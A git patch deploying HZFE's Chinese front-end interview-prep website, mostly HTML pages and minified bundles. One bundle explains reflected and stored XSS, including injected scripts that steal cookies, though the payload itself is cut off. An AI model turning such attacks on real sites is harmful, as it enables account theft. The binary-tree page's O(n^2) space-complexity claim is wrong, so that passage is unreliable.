From effeea5c2c4ea8ecad0b0415d712f3e3ca1e390c Mon Sep 17 00:00:00 2001 From: akiq2016 Date: Tue, 9 Nov 2021 21:30:38 +0800 Subject: [PATCH] Deploy website - based on b181a20f93ea1aca8f7929442fb77cd59fc2dea0 --- 404.html | 4 ++-- about.html | 4 ++-- assets/js/{99c95826.7efad0bb.js => 99c95826.60388996.js} | 2 +- assets/js/{d5444868.ea0b1c91.js => d5444868.533080d5.js} | 2 +- assets/js/{e9fc5b99.5e9794df.js => e9fc5b99.f8983dcc.js} | 2 +- .../{runtime~main.64628295.js => runtime~main.97249d62.js} | 2 +- book1/algorithm-balanced-binary-trees.html | 4 ++-- book1/browser-cross-origin.html | 6 +++--- book1/browser-repain-reflow.html | 4 ++-- book1/coding-promise.html | 4 ++-- book1/css-bfc.html | 4 ++-- book1/engineer-webpack-workflow.html | 4 ++-- book1/frame-vue-computed-watch.html | 4 ++-- book1/frame-vue-data-binding.html | 4 ++-- book1/js-closures.html | 4 ++-- book1/js-module-specs.html | 4 ++-- book1/network-security.html | 6 +++--- book1/topic-enter-url-display-xx.html | 4 ++-- book2/algorithm-reverse-linked-list.html | 4 ++-- book2/browser-garbage.html | 4 ++-- book2/browser-render-mechanism.html | 4 ++-- book2/coding-throttle-debounce.html | 4 ++-- book2/css-preprocessor.html | 4 ++-- book2/engineer-babel.html | 4 ++-- book2/frame-react-fiber.html | 4 ++-- book2/frame-react-hoc-hooks.html | 4 ++-- book2/js-inherite.html | 4 ++-- book2/js-new.html | 4 ++-- book2/network-http-cache.html | 6 +++--- book2/topic-multi-pics-site-optimize.html | 4 ++-- book3/algorithm-binary-tree-k.html | 4 ++-- book3/browser-event-loop.html | 4 ++-- book3/browser-memory-leaks.html | 4 ++-- book3/coding-arr-to-tree.html | 4 ++-- book3/css-mobile-adaptive.html | 4 ++-- book3/engineer-webpack-loader.html | 4 ++-- book3/frame-diff.html | 4 ++-- book3/frame-react-hooks.html | 4 ++-- book3/js-async.html | 4 ++-- book3/js-ts-interface-type.html | 4 ++-- book3/network-http-1-2.html | 4 ++-- book3/topic-white-screen-optimization.html | 4 ++-- guide.html | 4 ++-- index.html | 4 ++-- readme.md | 6 ++++++ search.html | 4 ++-- tags.html | 4 ++-- 47 files changed, 97 insertions(+), 91 deletions(-) rename assets/js/{99c95826.7efad0bb.js => 99c95826.60388996.js} (99%) rename assets/js/{d5444868.ea0b1c91.js => d5444868.533080d5.js} (91%) rename assets/js/{e9fc5b99.5e9794df.js => e9fc5b99.f8983dcc.js} (73%) rename assets/js/{runtime~main.64628295.js => runtime~main.97249d62.js} (96%) diff --git a/404.html b/404.html index 354e7a8..50c06f1 100644 --- a/404.html +++ b/404.html @@ -7,13 +7,13 @@ Page Not Found | HZFE - 剑指前端 Offer - +
Skip to main content

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

- + \ No newline at end of file diff --git a/about.html b/about.html index ab64d33..cfa01f6 100644 --- a/about.html +++ b/about.html @@ -7,13 +7,13 @@ 关于我们 | HZFE - 剑指前端 Offer - +
Skip to main content

关于我们

Hi,我们是 HZFE,一群来自于五湖四海的 90 后技术人。

一些缘分 :D#

一群固定的人总聚在一起,不知不觉就会成为一个所谓的团队。而我们的团队代号“HZFE”,总让不明其意的人拼错或不知如何发音。曾经在我们三周年活动蛋糕上,店家就用心写下了“H2FF 三周年快乐”的祝福。但是问题不大,只要我们不说,没有人会知道。

我们最初相识于拥有 17 位成员的群聊,群聊名称正是 HZFE。其本意是杭州前端(Hangzhou Front-End),所以也读作“杭州 FE”。尽管我们大多不在杭州,也不全是前端。所以姑且当这是个没道理的代号吧,而我们的相聚则是一场有趣的缘分。

可爱的人 0:)#

和每个普通人一样,我们大多过着三点一线的生活。喜欢旅游也爱摄影,也像千千万个理财小白一般,在正向或是反向理财中来回波动。每天都在产出新的想法,一起头脑风暴,结局总是以没有设计师为借口不了了之,三分钟热度成了我们心照不宣的默契。每天都在做梦,讲些不切实际的幻想,平凡且平庸。

如果说,唯一值得小小炫耀一番的,便是我们这群人对于热爱开发这件事达成了共识。不论是做开源、做自己的产品亦或各自在工作岗位上,都有所收获和成绩。目前团队开源的技术项目累计 6k star 以上,成员主要任职于腾讯、阿里巴巴、字节跳动、百度等一二线互联网公司,同时也不乏优秀的个人开发者。或许我们也是幸运的,在刚踏入社会时相遇相知相爱,彼此影响,一同成长为此刻至少技术还不赖的人。

做些东西 ;‑)#

因缘巧合下,在某天如同往日的头脑风暴中,我们一拍脑袋,说要一起写本书,将五年来对于行业面试规则和趋势的了解整理成册。就此,开启了这场坎坷的写作之旅。

正如其名:剑指前端 Offer,希望在这本书的帮助下,我们和读者都能有所成长。

Loading script...
- + \ No newline at end of file diff --git a/assets/js/99c95826.7efad0bb.js b/assets/js/99c95826.60388996.js similarity index 99% rename from assets/js/99c95826.7efad0bb.js rename to assets/js/99c95826.60388996.js index 9251227..39bcfe4 100644 --- a/assets/js/99c95826.7efad0bb.js +++ b/assets/js/99c95826.60388996.js @@ -1 +1 @@ -"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[2575],{3905:function(t,e,n){n.d(e,{Zo:function(){return u},kt:function(){return s}});var r=n(7294);function l(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function a(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function i(t){for(var e=1;e=0||(l[n]=t[n]);return l}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(l[n]=t[n])}return l}var o=r.createContext({}),k=function(t){var e=r.useContext(o),n=e;return t&&(n="function"==typeof t?t(e):i(i({},e),t)),n},u=function(t){var e=k(t.components);return r.createElement(o.Provider,{value:e},t.children)},m={inlineCode:"code",wrapper:function(t){var e=t.children;return r.createElement(r.Fragment,{},e)}},c=r.forwardRef((function(t,e){var n=t.components,l=t.mdxType,a=t.originalType,o=t.parentName,u=p(t,["components","mdxType","originalType","parentName"]),c=k(n),s=l,N=c["".concat(o,".").concat(s)]||c[s]||m[s]||a;return n?r.createElement(N,i(i({ref:e},u),{},{components:n})):r.createElement(N,i({ref:e},u))}));function s(t,e){var n=arguments,l=e&&e.mdxType;if("string"==typeof t||l){var a=n.length,i=new Array(a);i[0]=c;var p={};for(var o in e)hasOwnProperty.call(e,o)&&(p[o]=e[o]);p.originalType=t,p.mdxType="string"==typeof t?t:l,i[1]=p;for(var k=2;k'),"\u3002"),(0,a.kt)("p",null,"\u88ab\u653b\u51fb\u7f51\u7ad9\u670d\u52a1\u5668\u6536\u5230\u8bf7\u6c42\u540e\uff0c\u672a\u7ecf\u5904\u7406\u76f4\u63a5\u5c06 URL \u7684 name \u5b57\u6bb5\u76f4\u63a5\u62fc\u63a5\u81f3\u524d\u7aef\u6a21\u677f\u4e2d\uff0c\u5e76\u8fd4\u56de\u6570\u636e\u3002"),(0,a.kt)("p",null,"\u88ab\u5bb3\u8005\u5728\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\uff0c\u6267\u884c\u4e86\u653b\u51fb\u8005\u6ce8\u5165\u7684\u811a\u672c\uff08\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u83b7\u53d6\u5bf9\u65b9\u7684 Cookie \u7b49\uff09\u3002"),(0,a.kt)("h4",{id:"12-\u5b58\u50a8\u578b\u6301\u4e45\u6027"},"1.2 \u5b58\u50a8\u578b\uff08\u6301\u4e45\u6027\uff09"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u539f\u7406"),"\uff1a\u653b\u51fb\u8005\u5c06\u6ce8\u5165\u578b\u811a\u672c\u63d0\u4ea4\u81f3\u88ab\u653b\u51fb\u7f51\u7ad9\u6570\u636e\u5e93\u4e2d\uff0c\u5f53\u5176\u4ed6\u7528\u6237\u6d4f\u89c8\u5668\u8bf7\u6c42\u6570\u636e\u65f6\uff0c\u6ce8\u5165\u811a\u672c\u4ece\u670d\u52a1\u5668\u8fd4\u56de\u5e76\u6267\u884c\u3002"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u8981\u70b9"),"\uff1a"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"\u6076\u610f\u4ee3\u7801\u5b58\u50a8\u5728\u76ee\u6807\u7f51\u7ad9\u670d\u52a1\u5668\u4e0a\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u6709\u670d\u52a1\u7aef\u53c2\u4e0e\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u53ea\u8981\u7528\u6237\u8bbf\u95ee\u88ab\u6ce8\u5165\u6076\u610f\u811a\u672c\u7684\u9875\u9762\u65f6\uff0c\u5c31\u4f1a\u88ab\u653b\u51fb\u3002")),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u4f8b\u5b50"),"\uff1a"),(0,a.kt)("p",null,"\u653b\u51fb\u8005\u5728\u76ee\u6807\u7f51\u7ad9\u7559\u8a00\u677f\u4e2d\u63d0\u4ea4\u4e86",(0,a.kt)("inlineCode",{parentName:"p"},'平衡二叉树 | HZFE - 剑指前端 Offer - + @@ -20,7 +20,7 @@ const left = height(root.left); const right = height(root.right); if (left === -1 || right === -1 || Math.abs(left - right) > 1) { return -1; } return Math.max(left, right) + 1;};

时间复杂度分析#

由于是后序遍历,每个节点只会被调用 1 次,所以,该方法的时间复杂度是 O(n)。

空间复杂度分析#

该方法由于使用了递归,并且每次递归都调用了两次自身,导致会函数栈会按照等差数列开辟,所以该方法的空间复杂度应为 O(n^2)。

Loading script...
- + \ No newline at end of file diff --git a/book1/browser-cross-origin.html b/book1/browser-cross-origin.html index 4242380..8d2fc43 100644 --- a/book1/browser-cross-origin.html +++ b/book1/browser-cross-origin.html @@ -7,13 +7,13 @@ 浏览器跨域 | HZFE - 剑指前端 Offer - +
-

浏览器跨域

相关问题#

  • 什么是跨域
  • 为什么会跨域
  • 为什么有跨域限制
  • 怎么解决跨域

回答关键点#

CORS[1] 同源策略[2]

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略的安全特性。当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,即为跨域请求。需要注意的是跨域是浏览器的限制,服务端并不受此影响。当产生跨域时,我们可以通过 JSONP、CORS、postMessage 等方式解决。

知识点深入#

1. 跨域问题的来源#

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略(Same-origin policy)的安全特性。同源策略是浏览器一个非常重要的安全策略,基于这个策略可以限制非同源的内容与当前页面进行交互,从而减少页面被攻击的可能性。

当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,从而产生跨域。需要注意的是跨域是浏览器的限制,实际请求已经正常发出和响应了。

2. 如何判定跨域#

cors

如上图所示,一个 origin 由协议(Protocol)主机名(Host)端口(Port)组成,这三块也是同源策略的判定条件,只有当协议主机名端口都相同时,浏览器才判定两者是同源关系,否则即为跨域。

3. 跨域的解决方案#

前端常见的跨域解决方案有 CORS、反向代理(Reverse Proxy)、JSONP 等。

3.1 CORS (Cross-Origin Resource Sharing)#

CORS 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求。

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动。

具体实现方式

CORS 将请求分为简单请求(Simple Requests)需预检请求(Preflighted requests),不同场景有不同的行为:

简单请求

不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:

  • 请求方法:GETHEADPOST
  • 请求头:AcceptAccept-LanguageContent-LanguageContent-Type
    • Content-Type 仅支持:application/x-www-form-urlencodedmultipart/form-datatext/plain

需预检请求

当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的 Access-Control-Allow-* 判定请求是否被允许。

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求。

3.2 反向代理#

反向代理解决跨域问题的方案依赖同源的服务端对请求做一个转发处理,将请求从跨域请求转换成同源请求。

涉及到的端

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可。

具体实现方式

反向代理的实现方式为在页面同域下配置一套反向代理服务,页面请求同域的服务端,服务端请求上游的实际的服务端,之后将结果返回给前端。

3.3 JSONP#

JSONP 是一个相对古老的跨域解决方案。主要是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现跨域获取数据。

涉及到的端

JSONP 需要服务端和前端配合实现。

具体实现方式

JSONP 的原理是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现的。具体流程如下:

  1. 全局注册一个函数,例如:window.getHZFEMember = (num) => console.log('HZFE Member: ' + hzfeMember);
  2. 构造一个请求 URL,例如:https://hzfe.org/api/hzfeMember?callback=getHZFEMember
  3. 生成一个 <script> 并把 src 设为上一步的请求 URL 并插入到文档中,如 <script src="https://hzfe.org/api/hzfeMember?callback=getHZFEMember" />
  4. 服务端构造一个 JavaScript 函数调用表达式并返回,例如:getHZFEMember(17)
  5. 浏览器加载并执行以上代码,输出 HZFE Member: 17

非常用方式#

  • postMessage
    • 即在两个 origin 下分别部署一套页面 A 与 B,A 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息。
  • window.name
    • 主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据。
  • document.domain
    • 可将相同一级域名下的子域名页面的 document.domain 设置为一级域名实现跨域。
    • 可将同域不同端口的 document.domain 设置为同域名实现跨域(端口被置为 null)。

扩展阅读#

1. LocalStorage / SessionStorage 跨域#

LocalStorage 和 SessionStorage 同样受到同源策略的限制。而跨域读写的方式也可以使用前文提到的 postMessage。

2. 跨域与监控#

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈。

3. 跨域与图片#

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决。

参考资料#

  1. Cross-Origin Resource Sharing (CORS)
  2. Same-origin policy
Loading script...
- +
Skip to main content

浏览器跨域

相关问题#

  • 什么是跨域
  • 为什么会跨域
  • 为什么有跨域限制
  • 怎么解决跨域

回答关键点#

CORS[1] 同源策略[2]

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略的安全特性。当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,即为跨域请求。需要注意的是跨域是浏览器的限制,服务端并不受此影响。当产生跨域时,我们可以通过 JSONP、CORS、postMessage 等方式解决。

知识点深入#

1. 跨域问题的来源#

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略(Same-origin policy)的安全特性。同源策略是浏览器一个非常重要的安全策略,基于这个策略可以限制非同源的内容与当前页面进行交互,从而减少页面被攻击的可能性。

当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,从而产生跨域。需要注意的是跨域是浏览器的限制,实际请求已经正常发出和响应了。

2. 如何判定跨域#

cors

如上图所示,一个 origin 由协议(Protocol)主机名(Host)端口(Port)组成,这三块也是同源策略的判定条件,只有当协议主机名端口都相同时,浏览器才判定两者是同源关系,否则即为跨域。

3. 跨域的解决方案#

前端常见的跨域解决方案有 CORS、反向代理(Reverse Proxy)、JSONP 等。

3.1 CORS (Cross-Origin Resource Sharing)#

CORS 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求。

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动。

具体实现方式

CORS 将请求分为简单请求(Simple Requests)需预检请求(Preflighted requests),不同场景有不同的行为:

简单请求

不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:

  • 请求方法:GETHEADPOST
  • 请求头:AcceptAccept-LanguageContent-LanguageContent-Type
    • Content-Type 仅支持:application/x-www-form-urlencodedmultipart/form-datatext/plain

需预检请求

当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的 Access-Control-Allow-* 判定请求是否被允许。

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求。

3.2 反向代理#

反向代理解决跨域问题的方案依赖同源的服务端对请求做一个转发处理,将请求从跨域请求转换成同源请求。

涉及到的端

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可。

具体实现方式

反向代理的实现方式为在页面同域下配置一套反向代理服务,页面请求同域的服务端,服务端请求上游的实际的服务端,之后将结果返回给前端。

3.3 JSONP#

JSONP 是一个相对古老的跨域解决方案。主要是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现跨域获取数据。

涉及到的端

JSONP 需要服务端和前端配合实现。

具体实现方式

JSONP 的原理是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现的。具体流程如下:

  1. 全局注册一个函数,例如:window.getHZFEMember = (num) => console.log('HZFE Member: ' + num);
  2. 构造一个请求 URL,例如:https://hzfe.org/api/hzfeMember?callback=getHZFEMember
  3. 生成一个 <script> 并把 src 设为上一步的请求 URL 并插入到文档中,如 <script src="https://hzfe.org/api/hzfeMember?callback=getHZFEMember" />
  4. 服务端构造一个 JavaScript 函数调用表达式并返回,例如:getHZFEMember(17)
  5. 浏览器加载并执行以上代码,输出 HZFE Member: 17

非常用方式#

  • postMessage
    • 即在两个 origin 下分别部署一套页面 A 与 B,A 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息。
  • window.name
    • 主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据。
  • document.domain
    • 可将相同一级域名下的子域名页面的 document.domain 设置为一级域名实现跨域。
    • 可将同域不同端口的 document.domain 设置为同域名实现跨域(端口被置为 null)。

扩展阅读#

1. LocalStorage / SessionStorage 跨域#

LocalStorage 和 SessionStorage 同样受到同源策略的限制。而跨域读写的方式也可以使用前文提到的 postMessage。

2. 跨域与监控#

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈。

3. 跨域与图片#

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决。

参考资料#

  1. Cross-Origin Resource Sharing (CORS)
  2. Same-origin policy
Loading script...
+ \ No newline at end of file diff --git a/book1/browser-repain-reflow.html b/book1/browser-repain-reflow.html index 1ad0636..c886a44 100644 --- a/book1/browser-repain-reflow.html +++ b/book1/browser-repain-reflow.html @@ -7,13 +7,13 @@ 浏览器的重排重绘 | HZFE - 剑指前端 Offer - +

浏览器的重排重绘

相关问题#

  • 如何提升页面渲染性能
  • 如何减少页面重排重绘
  • 哪些行为会引起重排/重绘

回答关键点#

渲染性能 Layout Paint

浏览器渲染大致分为四个阶段,其中在解析 HTML 后,会依次进入 Layout 和 Paint 阶段。样式或节点的更改,以及对布局信息的访问等,都有可能导致重排和重绘。而重排和重绘的过程在主线程中进行,这意味着不合理的重排重绘会导致渲染卡顿,用户交互滞后等性能问题。

知识点深入#

1. 什么是重排重绘#

image

  1. Parse HTML:相关引擎分别解析文档和样式表以及脚本,生成 DOM 和 CSSOM ,最终合成为 Render 树。
  2. Layout:浏览器通过 Render 树中的信息,以递归的形式计算出每个节点的尺寸大小和在页面中的具体位置。
  3. Paint:浏览器将 Render 树中的节点转换成在屏幕上绘制实际像素的指令,这个过程发生在多个图层上。
  4. Composite:浏览器将所有层按照一定顺序合并为一个图层并绘制在屏幕上。

图中所示步骤为浏览器渲染的关键路径。浏览器从获取文档、样式、脚本等内容,到最终渲染结果到屏幕上,通常需要经过如图所示的步骤。而 DOM 或 CSSOM 被修改,会导致浏览器重复执行图中的步骤。重排和重绘,本质上指的就是触发 Layout 和 Paint 的过程,且重排必定导致重绘。

引起重排/重绘的常见操作#

  1. 外观有变化时,会导致重绘。相关的样式属性如 color opacity 等。
  2. 布局结构或节点内容变化时,会导致重排。相关的样式属性如 height float position 等。
    • 盒子尺寸和类型。
    • 定位方案(正常流、浮动和绝对定位)。
    • 文档树中元素之间的关系。
    • 外部信息(如视口大小等)。
  3. 获取布局信息时,会导致重排。相关的方法属性如 offsetTop getComputedStyle 等。

2. 如何减少重排重绘#

image

意义#

大多数显示器的刷新率是 60FPS(frames per second)。理想情况下,浏览器需要在 1/60 秒内完成渲染阶段并交付一帧。这样用户就会看到一个交互流畅的页面。

在交互阶段,页面更新(一般是通过执行 JavaScript 来触发)通常会触发重排和重绘。为了提升浏览器渲染效率,应当尽可能减少重绘重排(跳过 Layout/Paint 步骤),从而降低浏览器渲染耗费的时间,将内容尽快渲染到屏幕上。

解决方案#

  1. 对 DOM 进行批量写入和读取(通过虚拟 DOM 或者 DocumentFragment 实现)。
  2. 避免对样式频繁操作,了解常用样式属性触发 Layout / Paint / Composite 的机制,合理使用样式。
  3. 合理利用特殊样式属性(如 transform: translateZ(0) 或者 will-change),将渲染层提升为合成层,开启 GPU 加速,提高页面性能。
  4. 使用变量对布局信息(如 clientTop)进行缓存,避免因频繁读取布局信息而触发重排和重绘。

另外,可以借助 DevTools Performance 面板来查看产生重排重绘任务占用主线程的情况和调用代码。

参考资料#

  1. 渲染树构建、布局及绘制
  2. 避免大型、复杂的布局和布局抖动
  3. CSS 属性触发布局、绘制及合成的数据
  4. What forces layout / reflow
Loading script...
- + \ No newline at end of file diff --git a/book1/coding-promise.html b/book1/coding-promise.html index baa9482..2ba8d24 100644 --- a/book1/coding-promise.html +++ b/book1/coding-promise.html @@ -7,7 +7,7 @@ 实现一个 Promises/A+ 规范的 Promise | HZFE - 剑指前端 Offer - + @@ -45,7 +45,7 @@ obj.promise = new Promise(function (resolve, reject) { obj.resolve = resolve; obj.reject = reject; }); return obj;}; module.exports = Promise;

2. 运行命令#

$ npx promises-aplus-tests test.js

3. 测试结果#

测试结果

完美通过!

参考资料#

  1. Promises/A+
  2. Promises/A+ Compliance Test Suite
Loading script...
- + \ No newline at end of file diff --git a/book1/css-bfc.html b/book1/css-bfc.html index 760e61e..2606a24 100644 --- a/book1/css-bfc.html +++ b/book1/css-bfc.html @@ -7,13 +7,13 @@ BFC 的形成和作用 | HZFE - 剑指前端 Offer - +

BFC 的形成和作用

相关问题#

  • BFC 有什么用,如何触发
  • 谈谈你对 BFC 的理解

回答关键点#

盒模型 视觉格式化模型 包含块 正常流

BFC 是什么

BFC 全称为 block formatting context,中文为“块级格式化上下文”。它是一个只有块级盒子参与的独立块级渲染区域,它规定了内部的块级盒子如何布局,且与区域外部无关。

BFC 有什么用

  • 修复浮动元素造成的高度塌陷问题。
  • 避免非期望的外边距折叠。
  • 实现灵活健壮的自适应布局。

触发 BFC 的常见条件

  • <html> 根元素。
  • float 的值不为 none。
  • position 的值不为 relative 或 static。
  • overflow 的值不为 visible 或 clip(除了根元素)。
  • display 的值为 table-cell,table-caption,或 inline-block 中的任意一个。
  • display 的值为 flow-root,或 display 值为 flow-root list-item。
  • flex items,即 display 的值为 flex 或 inline-flex 的元素的直接子元素(该子元素 display 不为 flex,grid,或 table)。
  • grid items,即 display 的值为 grid 或 inline-grid 的元素的直接子元素(该子元素 display 不为 flex,grid,或 table)。
  • contain 的值为 layout,content,paint,或 strict 中的任意一个。
  • column-span 设置为 all 的元素。

提示display: flow-rootcontain: layout 等是无副作用的,可在不影响已有布局的情况下触发 BFC。

知识点深入#

1. 前置知识点#

盒模型(box model)

盒模型描述了一个由元素生成的矩形盒子,视觉格式化模型决定这些盒子的大小、位置以及属性(例如颜色、背景、边框尺寸等等)。

盒子的具体构成如下图所示:

Box model

术语解析

由于视觉格式化模型描述中,有许多相近的术语,在此先行列出解释。

  • box(盒子):一个抽象概念,在画布上占据一块空间,通常由元素(element)生成。一个元素可能生成多个盒子(如伪元素、list-item 元素)。
  • principal box(主要盒子):元素生成的多个盒子中,用来包含它的后代盒子和它生成的内容的盒子,也是参与任何定位方案的盒子。
  • block-level box(块级盒子):参与 BFC 布局的盒子,通常由块级元素生成。
  • block container box(块容器):在 CSS2.2 中,除了 table box 或替换元素的主要盒子,一个块级盒子也是块容器,但不是所有的块容器都是块级盒子(如非替换内联块盒子)。块容器主要侧重于其子元素的定位、布局。
  • block box(块盒子):如果一个块级盒子同时也是块容器,则可以称作块盒子。
  • block(块):当没有歧义时,作为 block box, block-level box 或 block container box 的简写。

(注:盒子有“块盒子”和“块级盒子”,元素只有“块级元素”,而没有“块元素”)

2. 视觉格式化模型(visual formatting model)#

视觉格式化模型描述了用户代理(如浏览器)在可视化媒体(如显示器)上处理文档树(document tree)的过程。下面各小节是视觉格式化模型中与 BFC 强相关的描述:

2.1 包含块(containing block)#

大部分情况下,包含块是一个由元素最近的祖先块容器的内容区域(content area)确定的矩形区域,包含块本身不是盒子,是一个矩形区域。元素的大小,位置,及偏移等布局信息根据包含块的尺寸进行计算。

2.2 正常流(normal flow)#

正常流是浏览器的默认布局方式。在正常流中的盒子,属于 BFC,IFC,或其他格式化上下文之一。

2.3 格式化上下文(formatting context)#

格式化上下文是一系列相关盒子进行布局的环境。不同的格式化上下文有不同的布局规则。目前常见的格式化上下文有以下这些:

  • 块级格式化上下文(BFC,block formatting context)。
  • 内联格式化上下文(IFC,inline formatting context)。
  • 弹性格式化上下文(FFC,flex formatting context),在 CSS3 中定义。
  • 栅格格式化上下文(GFC,grid formatting context),在 CSS3 中定义。

2.4 独立格式化上下文(independent formatting context)#

一个盒子要么建立一个新的独立格式化上下文,要么延续其包含块的格式化上下文。除了特殊说明,建立新的格式化上下文就是在建立一个独立格式化上下文。

当一个盒子建立一个独立格式化上下文时,它创建了一个新的独立布局环境。除了通过改变盒子本身的大小,盒子内部的后代不会影响格式化上下文外部的规则和内容,反之亦然。

2.5 块级格式化上下文规范及解析#

根据 W3C CSS2.1 视觉格式化模型一章的定义,BFC 相关规范描述如下:

  1. 浮动元素,绝对定位元素,不是块级盒子的块级容器(如 inline-block,table-cells,table-captions)以及 overflow 值不为 visible 的块级盒子,都会为他们的内容创建 BFC(注:触发 BFC 的条件)。
  2. 在 BFC 中,盒子从包含块的顶部开始,在垂直方向上一个接一个的排列。相邻盒子之间的垂直间隙由它们的 margin 值决定。在同一个 BFC 中,相邻块级盒子的垂直外边距会合并(注:参与 BFC 布局的都是块级元素)。
  3. 在 BFC 中,每一个盒子的左外边缘(margin-left)会触碰到包含块的左边缘。即使是存在浮动元素也是如此,除非该盒子建立了一个新的 BFC。

结合规范第三点与独立格式化上下文的知识,我们可以有以下推论:

  1. BFC 内外互不影响。
    1. BFC 包含内部的浮动(解决内部浮动元素导致的高度塌陷)。
    2. BFC 排斥外部的浮动(触发 BFC 的元素不会和外部的浮动元素重叠)。
    3. 外边距折叠的计算不能跨越 BFC 的边界。
  2. 各自创建了 BFC 的兄弟元素互不影响(注:在水平方向上多个浮动元素加一个或零个触发 BFC 的元素可以形成多列布局)。

通过 BFC 可以实现灵活健壮的自适应布局,在一行中达到类似 flexbox 的效果,示例如下:

两栏自适应布局

two-col

多列自适应布局

multi-col

参考资料#

  1. 块级格式化上下文
  2. 包含块:MDN
  3. 包含块:W3C
  4. 视觉格式化模型:MDN
  5. 视觉格式化模型:W3C
  6. 盒模型:MDN
  7. 盒模型:W3C
Loading script...
- + \ No newline at end of file diff --git a/book1/engineer-webpack-workflow.html b/book1/engineer-webpack-workflow.html index 4740b2d..f89bb38 100644 --- a/book1/engineer-webpack-workflow.html +++ b/book1/engineer-webpack-workflow.html @@ -7,7 +7,7 @@ engineer-webpack-workflow | HZFE - 剑指前端 Offer - + @@ -24,7 +24,7 @@ // lib/Compilation.js 1712行 // 添加到创建模块队列,执行创建模块 factorizeModule(options, callback) { this.factorizeQueue.add(options, callback); } // lib/Compilation.js 1834行 // 保存需要构建模块 _addModule(module, callback) { this.modules.add(module); } // lib/Compilation.js 1284行 // 添加模块进模块编译队列,开始编译 buildModule(module, callback) { this.buildQueue.add(module, callback); }

3. webpack 生成阶段做了什么#

构建阶段围绕 module 展开,生成阶段则围绕 chunks 展开。经过构建阶段之后,webpack 得到足够的模块内容与模块关系信息,之后通过 Compilation.seal 函数生成最终资源。

3.1 生成产物#

执行 Compilation.seal 进行产物的封装。

  1. 构建本次编译的 ChunkGraph 对象,执行 buildChunkGraph,这里会将 import()、require.ensure 等方法生成的动态模块添加到 chunks 中。
